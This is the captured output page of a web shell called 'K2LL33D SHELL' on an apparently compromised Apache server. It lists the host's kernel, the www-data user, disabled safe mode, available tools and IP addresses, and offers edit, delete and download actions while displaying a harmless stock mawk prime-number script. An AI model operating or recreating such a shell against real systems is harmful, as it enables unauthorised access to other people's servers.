K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / share / doc / mawk / examples /
server ip : 172.67.156.115

your ip : 172.69.6.18

H O M E


Filename/usr/share/doc/mawk/examples/primes.awk
Size1.03 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:50
Last modified24-Mar-2014 17:53
Last accessed07-Jul-2025 12:41
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
#!/usr/bin/mawk -f

# primes.awk
#
# mawk -f primes.awk [START] STOP
# find all primes between 2 and STOP
# or START and STOP
#



function usage()
{ ustr = sprintf("usage: %s [start] stop", ARGV[0])
system( "echo " ustr)
exit 1
}


BEGIN { if (ARGC == 1 || ARGC > 3 ) usage()
if ( ARGC == 2 ) { start = 2 ; stop = ARGV[1]+0 }
else
if ( ARGC == 3 ) { start = ARGV[1]+0 ; stop = ARGV[2]+0 }

if ( start < 2 ) start = 2
if ( stop < start ) stop = start

prime[ p_cnt = 1 ] = 3 # keep primes in prime[]

# keep track of integer part of square root by adding
# odd integers
odd = test = 5
root = 2
squares = 9


while ( test <= stop )
{
if ( test >= squares )
{ root++
odd += 2
squares += odd
}

flag = 1
for ( i = 1 ; prime[i] <= root ; i++ )
if ( test % prime[i] == 0 ) # not prime
{ flag = 0 ; break }

if ( flag ) prime[ ++p_cnt ] = test

test += 2
}

prime[0] = 2

for( i = 0 ; prime[i] < start ; i++) ;

for ( ; i <= p_cnt ; i++ ) print prime[i]

}